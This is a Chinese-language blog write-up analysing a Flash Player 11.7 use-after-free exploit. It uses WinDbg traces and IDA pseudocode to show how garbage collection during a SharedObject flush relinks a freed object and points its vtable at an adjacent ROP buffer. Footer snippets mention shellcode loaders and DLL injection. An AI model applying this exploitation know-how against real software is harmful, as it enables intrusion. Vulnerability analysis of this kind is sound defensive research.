    0:020> kbChildEBP RetAddr  Args to Child             WARNING: Stack unwind information not available. Following frames may be wrong.03a4f8e4 1014bc76 0334d308 03bf6a80 0368a7ac Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69da903a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc7603a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d7403a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c0903a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe393303a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb633903a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x10119603a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x10181503a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x10307503a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a  // 02aa41c0第一次出現在這里03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e80303a4fb80 10210e84 0368a000 10210ebc 03a4ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f03a4fb88 10210ebc 03a4ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b03a4fb90 1003c391 00000001 0369a000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c303a4ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
    

    這里需要注意一下這些函數調用時的參數,回顧之前的分析,ecx對象的地址是02aa41c0。看一下02aa41c0第一次出現時的返回地址是102e0063,在IDA中找到這個地址,該地址所在函數的偽代碼是:

    void *__thiscall deconstruct(void *this, char a2){  sub_102DFF85();  if ( (a2 & 1) != 0 )    operator delete(this);  return this;}
    

    到這里其實有點卡住了,從上面的代碼可以看出這里在執行一些和釋放相關的操作,也是在這個過程中修改了record對象的虛函數表指針。

    但是為什么剛好就修改了虛函數表指針,為什么修改之后的數值剛好是ROP所在的位置,現在仍然不清楚。

    停下來思考一下,隱約記得之前看0day安全的時候看到過針對C++虛函數表指針的漏洞利用方法,雖然細節記不大清除了,但是大概和變量之間的物理位置也有一些關系。在回過頭來看一下cc.swf反編譯得到的代碼:

    // 漏洞利用準備gen_exp();   // 在這里構造record對象 // 根據不同系統構造不同ropif(sys == 7) {    rop = gen_rop3();  // 然后在這里構造ROP    rop.toString();}...
    

    我在想這樣的代碼順序是否和漏洞利用有關,這完全是瞎猜的,但是為我后面的分析方向提供了思路。

    根據以上所有的分析過程,有下面的結論:

    • 程序第一次中斷在第5個斷點的時候,應該是在構造record對象,或者至少是在執行gen_exp()中的相關操作(后面調試發現是后者);
    • (后面調試發現這么想是錯誤的);
    • 之后程序開始構造ROP,ROP相關數據位于02aa4290的位置;
    • 之后程序執行terminate(),會再次嘗試析構,此時會導致雙重釋放;
    • 函數deconstruct(102E005B)和析構應該有關系。

    根據上面的這些結論,我想要在一切開始之前:在02aa4290下一個寫斷點,檢查ROP的構造情況;在函數deconstruct下個斷點,確定析構的發生;在02aa41c0添加寫斷點,觀察record對象的構造情況。

    以上,重新回到第一次中斷在10101810的時候,檢查02aa4290,發現這里還沒有ROP的數據,所以從這里開始設置相應斷點。

    (1)第一次中斷在10101810:

    02aa4290中不存在ROP數據,record對象(02aa41c0)中無數據

    設置相應斷點:

    0:000> bl ~~0 e 76b5d038     0001 (0001)  0:**** WINMM!midiOutPlayNextPolyEvent~~ 1 e 10101810     0001 (0001)  0:**** Flash32_11_7_700_261+0x101810    // 調用rop_func 2 e 02aa4294 w 4 0001 (0001)  0:****   // 監控ROP數據寫入 3 e 102e005b     0001 (0001)  0:**** Flash32_11_7_700_261!DllUnregisterServer+0xed362  // deconstruct函數 4 e 02aa41c0 w 4 0001 (0001)  0:****  // record對象
    

    (2)繼續執行,在斷點4中斷四次,第五次中斷時,02aa41c0處寫入了一個四字節數據(不是10c3d06c),同時在對之后的空間進行清空:

    0:020> gBreakpoint 4 hiteax=02aa41c0 ebx=00000000 ecx=02aa41c0 edx=00000000 esi=02aa41c0 edi=03b4f354eip=100fd33a esp=03b4f0ec ebp=03b4f0f4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246Flash32_11_7_700_261+0xfd33a:100fd33a 895e0c          mov     dword ptr [esi+0Ch],ebx ds:0023:02aa41cc=000000000:020> uf eipFlash32_11_7_700_261+0xfd340:100fd340 895e14          mov     dword ptr [esi+14h],ebx100fd343 895e18          mov     dword ptr [esi+18h],ebx100fd346 895e1c          mov     dword ptr [esi+1Ch],ebx100fd349 895e20          mov     dword ptr [esi+20h],ebx100fd34c 895e24          mov     dword ptr [esi+24h],ebx100fd34f 895e28          mov     dword ptr [esi+28h],ebx100fd352 895e2c          mov     dword ptr [esi+2Ch],ebx100fd355 895e30          mov     dword ptr [esi+30h],ebx...
    

    檢查此時的函數調用流程:

    0:020> kbChildEBP RetAddr  Args to Child             WARNING: Stack unwind information not available. Following frames may be wrong.03b4f0f4 102dff6f 03259000 03a32c38 102dffea Flash32_11_7_700_261+0xfd33a03b4f29c 10252aa5 02a55bd0 10101917 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0xed27603b4f2ec 10283de5 03b4f388 00000000 0388d080 Flash32_11_7_700_261!DllUnregisterServer+0x5fdac03b4f318 102e0fea 03b4f388 10101917 03a32c38 Flash32_11_7_700_261!DllUnregisterServer+0x910ec03b4f378 102907b9 03a32c38 03a32a80 03a32c3e Flash32_11_7_700_261!DllUnregisterServer+0xee2f103b4f4e0 1069036a 03c92ee0 00000000 03b4f54c Flash32_11_7_700_261!DllUnregisterServer+0x9dac003b4f4e4 03c92ee0 00000000 03b4f54c 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x14eafa03b4f4e8 00000000 03b4f54c 00000000 03b4f4bc 0x3c92ee0
    

    在IDA中檢查各個返回地址所在函數,在第四個返回地址102e0fea所在函數中,看到了下面的偽代碼:

    ...if ( sub_1013FB10(v36) == 2 ){  v8 = (_DWORD *)sub_102D7F84(v33);  v9 = (int *)sub_1022C395(*v8);  v10 = *(_DWORD *)(v7 + 28);  v35 = *v9;  v34 = sub_10610370(v10, 22);  v11 = sub_1013FB40(v6);  v27 = sub_106119B0(v11);  v26 = sub_106119B0("SharedObject.getLocal");  v12 = sub_106119B0(v35);  sub_106104D0(2146, v12, v26, v27);} ...
    

    所以合理猜測這里就是在執行var sobj:SharedObject = SharedObject.getLocal("record");語句,并為record對象的數據準備空間。

    繼續執行,又在第4個斷點中斷了一次,此時寫入了正確的數值10c3d06c;

    (3)繼續執行,在斷點2中斷兩次,第三次中斷時,02aa4290處寫入了ROP相關數據。

    0:020> gBreakpoint 2 hiteax=03cd20cc ebx=02aa4290 ecx=00000031 edx=00000000 esi=03cd2008 edi=02aa4298eip=107b42da esp=03a4f390 ebp=03a4f398 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x272a6a:107b42da f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:02aa4298=0063006f ds:0023:03cd2008=77bf18d3
    

    (4)繼續執行,第二次中斷在10101810。

    (5)繼續執行,中斷在第3個斷點,此時執行和析構相關操作,此時record對象還未被清空。因為在上面的偽代碼中,發現這個函數中包含了delete操作,因此此時開始單步,看一下record對象的清空操作。

    ① 程序中斷在第4個斷點,record對象被修改,但是不是清空操作(后來發現在第3個斷點后,必然會有一次record對象被修改的操作,兩個斷點會連著中斷)。

    ② 程序第三次中斷在10101810(因為下面包含了嵌套,所以說明接下來的第3個斷點中斷位于rop_func中)。

    ③ 程序中斷在第3個斷點。

    a. 程序中斷在第4個斷點。

    b. 程序第四次中斷在10101810(這里就是之前提到的那個嵌套)。

    c. 接下來會有大段的跳出,為了加快步驟,在第3個斷點后面的條件判斷語句處添加一個斷點(0:020> bp 102e0068),然后直接繼續執行。

    d. 程序中斷在第4個斷點。

    0:020> gBreakpoint 4 hiteax=033f2020 ebx=00000000 ecx=02aa41c0 edx=02ad6610 esi=02aa41c0 edi=02aa41c0eip=1010311d esp=03b4f8d8 ebp=03cf2a80 iopl=0         nv up ei ng nz na pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287Flash32_11_7_700_261+0x10311d:1010311d e8effeffff      call    Flash32_11_7_700_261+0x103011 (10103011)
    

    這里接下來的一段代碼都是對this指針處數據的處理,我單步了一下,果然發現這個函數就是在對record對象處的數據進行清空,把這個函數叫做clear_object,整個函數執行完后:

    0:020> peax=00000001 ebx=00000000 ecx=02a60e60 edx=00000000 esi=02aa41c0 edi=02aa41c0eip=1006631d esp=03b4f8dc ebp=03cf2a80 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246Flash32_11_7_700_261+0x6631d:1006631d c3              ret0:020> dd 02aa41c002aa41c0  10b9e9b8 00000000 02c4a000 0000000002aa41d0  00000000 00000000 00000000 0000000002aa41e0  00000000 00000000 00000000 0000000002aa41f0  00000000 00000000 00000000 0000000002aa4200  00000000 00000000 00000000 0000000002aa4210  00000000 00000000 00000000 0000000002aa4220  00000000 00000000 00000000 0000000002aa4230  00000000 00000000 00000000 00000000
    

    e. 程序中斷在第5個斷點,到達外層步驟c對應的條件判斷語句處,直接跳轉,沒有到達delete語句。

    (4)程序中斷在第4個斷點,record對象的虛函數表指針被修改成了02aa4290。即本小節一開始提到的位置。把這個函數叫做change_vtable。

    (5)繼續執行,到達ROP。

    以上步驟進行一個整理:

    - 生成record對象- 生成ROP- deconstruct ->    - rop_func ->        - deconstruct ->            - rop_func ->            - clear_object -> 這里釋放了record對象空間        - 修改record對象的虛函數表指針        - 轉入rop中執行
    

    我在分析到這里的時候卡住了,因為我不理解這種deconstruct的嵌套是怎么出現的,嘗試了以下幾種方法:

    (1)考慮到actionscript代碼使用了多線程的方法,所以考慮上面調試過程中到達每個斷點時,是否都處于同一線程中,因此重新回到之前的快照又走了一遍整個流程,同時使用~.命令查看當前線程,發現除了第一次中斷在10101810的時候,其余時刻都處于同一線程中。

    (2)根據上面的步驟整理,rop_func中發生了很多我不清楚的事,最終導致了第二次deconstruct的發生。按照我一開始對于發生兩次flush的時機的理解(2.3.3小結中劃掉的部分),我不太明白為什么會發生這樣的嵌套,但是根據參考資料3,我知道這里發生了垃圾回收。于是我在IDA中跟蹤了一下發生第二次deconstruct時的函數調用流程,結果發現在函數sub_1014C1BD(second_flush)中,deconstruct和change_vtable先后被調用:

    if ( v11(record_obj) == a2 || record_obj[0x2E] == a2 ) {  (**record_obj)(record_obj, 0);          // deconstruct  change_vtable(dword_10F428A0, record_obj);}
    

    同時在外層函數中,發現了函數調用:sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)", ArgList);

    推測這里應該在做垃圾回收了。

    (3)上網搜索資料,找到了參考資料4,對2.3.3小結重新進行了一些補充,理解了上面的步驟整理中為什么deconstruct會嵌套出現。

    到此為止我已經明白了兩次flush發生的背景以及先后關系,正如2.3.3小結中介紹的那樣,通過調試的方式證明了這個流程。

    但是現在仍舊不清楚為什么record對象的虛函數表指針會被修改成ROP的地址。

    3.3.2 change_vtable的真面目

    在IDA中查看change_vtable函數代碼:

    v3 = object & 0xFFFFF000;...*object = *v3;                        // 修改虛函數表指針
    

    不知道為什么和0xFFFFF000有一個與操作。

    后來繞了一些彎路才發現clear_object也會調用change_vtable函數(大概就是在IDA中按照函數調用流程追蹤的時候發現的),這次回到第一次中斷在deconstruct函數的時候,同時在clear_object上下斷點,檢查這個函數的功能。

    最終當函數在clear_object中斷的時候,還是到達了清除object中內容的時候。先觀察一下IDA中的代碼:

    void __usercall clear_object(_DWORD *this@, int a2@){  *this = &off_10B9E9B8;  write_data(this, a2);  clear(this + 35);   clear(this + 30);  // 下面的幾個偏移都是3  clear(this + 27);  clear(this + 24);  clear(this + 21);  clear(this + 18);  clear(this + 15);  clear(this + 12);  clear(this + 9);  clear(this + 6);  clear(this + 3);}
    

    這里的this指針指向的就是record對象。函數調用中,只有第一個函數調用不一樣,在write_data的偽代碼中,發現了v5 = sub_10131B80("data");語句,所以猜測可能和數據寫入本地有關系。

    接下來關注this指針的偏移,除了第一個偏移是5之外,其余偏移都是3,我們在windbg中檢查一下這些位置的值。

    02aa41c0 10c3d06c 00000000 02c4a00002aa41cc 02a60e60 0000001c 0000001d  // +0C02aa41d8 02a55bd8 00000006 00000007  // +1802aa41e4 00000000 00000000 00000000  // +2402aa41f0 00000000 00000000 00000000  // +3002aa41fc 02a97290 00000067 00000068  // +3C02aa4208 02a5eca0 0000007f 00000080  // +4802aa4214 00000000 00000000 00000000  // +5402aa4220 02a7b4f0 00000055 00000056  // +6002aa422c 02b013a0 0000006d 0000006e  // +6C02aa4238 00000000 00000000 00000000  // +7802aa4244 00000000 00000000 02a60e80  // +8C02aa4250 0000001b 0000001c 02acf1b0
    

    看起來這幾個位置都存儲了和this對象相關的其他對象,以及8字節的其他數據。

    在clear函數中:

    void __thiscall clear(_DWORD *this){  if ( *this && *this != &unk_10B72E08 )    link_in(*this);  *this = 0;  this[1] = 0;  this[2] = 0;}
    

    會清除這些對象指針以及之后的8字節數據。

    目前為止已經弄清楚了clear_object是怎么清除record對象數據的。接下來看一下clear函數中的link_in函數是干什么的。

    void __cdecl link_in(unsigned int a1){  if ( a1 )    change_vtable(dword_10F428A0, a1);}
    

    link_in函數調用了change_vtable!

    我們在windbg中步進,看一下change_vtable究竟干了什么。

    因為我之前調試過一遍,所以選擇比較方便說明的偏移0x6C位置的對象02b013a0,進一步步入分析:

    在change_vtable函數中,程序首先做了如下計算:

    0:020> peax=02b013a0 ebx=00000000 ecx=10f428b8 edx=02b013a0 esi=02b013a0 edi=02b013a0eip=105ab57a esp=03b4f8b0 ebp=03cf2a80 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69d0a:105ab57a 81e600f0ffff    and     esi,0FFFFF000h
    

    得到esi的值為02b01000,也就是對02b013a0對象做了一個4096字節的對齊,定位到了頁首的位置。

    接下來有一些取值和函數調用,目前不知道什么意思,直接跳過,一直到達未來會對vtable指針進行修改的位置,看一下這塊的指令:

    105ab611 8b442414        mov     eax,dword ptr [esp+14h]  // ss:0023:03b4f8c4=02b013a0105ab615 8b16            mov     edx,dword ptr [esi]      // ds:0023:02b01000=02b01410105ab617 8910            mov     dword ptr [eax],edx...105ab61d 8906            mov     dword ptr [esi],eax
    

    對應的偽代碼:

    *object = *object_align;*object_align = object;
    

    一開始我的關注點一直在修改vtable指針上面,所以沒有意識到上面代碼的功能。在調試的時候才發現,這不就是在進行鏈表的插入操作嗎?

    執行上述代碼之前:

    0:020> dd 2b01000 l802b01000  02b01410 02b01640 00000000 0000000002b01010  00700009 00000000 00000000 10f42aec0:020> dd 2b013a0 l802b013a0  442f3a43 6d75636f 73746e65 646e612002b013b0  74655320 676e6974 65742f73 412f7473
    

    執行之后:

    0:020> dd 2b01000 l802b01000  02b013a0 02b01640 00000000 0000000002b01010  00700008 00000000 00000000 10f42aec0:020> dd 2b013a0 l802b013a0  02b01410 6d75636f 73746e65 646e612002b013b0  74655320 676e6974 65742f73 412f7473
    

    相當于將object插入到了object_align之后。

    類比堆結構中的空閑雙向鏈表結構,我猜測在每頁的頁首位置有32個字節的數據存儲了空閑鏈表的表頭結點數據(如果這里真的是個鏈表的話),其中首四個字節指向下一個節點,其余位置的數據功能并不清楚。其中最后四個字節10f42aec處的數據如下,也可以看到和當前頁鏈表有關的一些信息:

    0:020> dd 10f42aec la10f42aec  10f428b0 00000024 00000070 02b0100010f42afc  02b01000 02b01000 00000001 0000121e10f42b0c  00000001 00000000
    

    如果從2b01000開始追蹤首四個字節的話,可以得到如下地址列表,可以看到地址是逐漸增大的:

    02b01000 -> 02b013a0 -> 02b01410 -> 02b01480 -> 02b014f0 -> 02b01560 -> 02b015d0 -> 00000000
    

    繼續單步下去,會重復上述步驟,并最終將record對象中數據清空。

    所以實際上change_vtable就是做了一個鏈表鏈入的操作。

    4、終極目標:漏洞利用原理分析

    我們在此回顧一下漏洞利用流程(做了一些補充):

    |- 生成record對象,所在地址:2aa41c0|- 生成ROP,所在地址:02aa4290|- deconstruct(第一次flush操作)|    |- rop_func|    |    |- 垃圾回收(第二次flush操作)|    |    |    |- deconstruct (釋放了record對象空間)|    |    |    |    - rop_func|    |    |    |    - clear_object|    |    |    |- 鏈表鏈入(修改record對象的虛函數表指針)|    |    |- 繼續第一次flush操作(調用record虛函數,導致轉入rop中執行)
    

    在第一次flush執行過程中,發生了垃圾回收,由于flush判斷機制存在問題,程序判斷record對象需要進行flush,于是釋放了對象所在空間,并將其鏈入空閑鏈表中,這一操作導致record對象的虛函數表指針被修改。

    有一點需要注意,就是reocord對象和ROP byteArray對象所在的地址非常接近,實際上兩者應該是相鄰的(所以AS代碼中gen_exp和gen_rop的位置真的是有意義的)。在最終terminate的時候,兩個對象都會被垃圾回收,ROP所在地址大于record對象所在地址,所以最后鏈入鏈表的時候record在ROP前面,record對象所在空間的前四個字節(即虛函數指針所在位置)就會被被修改成ROP對象空間地址。

    之后繼續進行第一次的flush操作,此時程序以為record對象尚未被釋放,因此會繼續使用其虛函數,致使程序轉入ROP中執行。

    至此,完成了對該漏洞利用原理的分析。

    5、總結

    此次分析過程中遇到了兩大問題:

    (1)Action Script語法,worker和sharedObject的概念,flush操作以及垃圾回收的發生時機問題。此問題通過官方手冊以及多篇分析文章得到了解決。

    (2)Flash的底層數據結構以及對于空閑空間的處理方法。此問題通過問題1中獲得的參考資料以及后期的逐步調試最終得到了一個猜測性質的結論,并和最終的漏洞利用結果形成了完整閉環。

    有以下收獲:

    (1)kb函數調用流程 + IDA追蹤的方式真的很有用,而且一定要記得及時對已知函數進行重命名,哪怕是像change_vtable這樣完全沒有體現出函數功能的名字。

    (2)要注意內存中數據的變化,關注一下具體的數值,可以在notepad里面做一下記錄,有時候重復數據的出現會帶來很大收獲。

    (3)我在調試的時候還通過設置大量斷點的方式確定了整個漏洞利用的流程。其實我設置的方法是比較傻瓜的,但是如果位置確定的好,這種多斷點調試的方法會有很大幫助。

    指針變量函數指針
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    接著是read_password函數,與read_name函數基本一致。在看最后的password_checker()前,我們用正確密碼測試文件,顯示段錯誤。查看password_checker,login與admin的密碼比較后,來了個奇葩的有毒打印,接著前面的二級函數終于被調用了。我們需要知道報錯原因,gdb調試發現正好是二級指針調用出錯。利用思路經過上面的初步分析,我們知道程序在password_checker中調用一個二級指針失敗而段錯誤終止,考慮到canary的存在,srop不可能短期實現。即使我們無法利用這個二級指針getshell,它的存在也會讓程序終止。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    Tips:DLL 和 Shellcode 文件路徑使用絕對路徑;不論是 list 操作還是 inject 操作,都會嘗試開啟 DEBUG 權限;避免對同一進程交替進行 DLL 注入和 shellcode 注入或者重復進行 DLL 注入,可能會報錯 “被調用的對象已與其客戶端斷開連接。”,貌似是多次調用后遠程接口會被釋放掉;如果報錯 “不支持此接口 ”,就多試幾遍;并不是任何進程都能注入,只能對 list 動作顯示出來的進程進行注入技術原理。
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    shellcode loader的編寫
    2023-04-17 11:15:39
    改變加載方式指針執行#include?參數1:分配的內存的起始地址,如果為NULL則由系統決定。參數2:分配的內存大小,以字節為單位。參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交。參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀。結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
    C和C++向來以“let the programmer do what he wants to do”的貼近底層而為廣大開發者所喜愛。
    控制流劫持攻擊是當前較為主流的攻擊方式之一,包括ROP、JOP等等。
    這是來源lea rax lpTimerQueryHostPerformanceCountermov qword ptr cs:off_140c01e00,rax這是出接口 = HookHalpTimerQueryHostPerformanceCounter;總結是緣起緣滅。這兩個指針其實就是得到系統時間。而且是唯一在HalpTimerQueryHostPerformanceCounter用到的指針。如果之前的off_140C00A30是被PG監控的,這兩個指針會不會被監控呢?修復函數我直接重命名。發現都是在出接口 hook。
    TP-LINK 型號為 TL-WR841N V10 的路由器設備上的漏洞被分配 ID CVE-2020-8423。該漏洞允許經過身份驗證的攻擊者通過向 wifi 網絡配置發送 GET 請求來遠程執行設備上的任意代碼。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类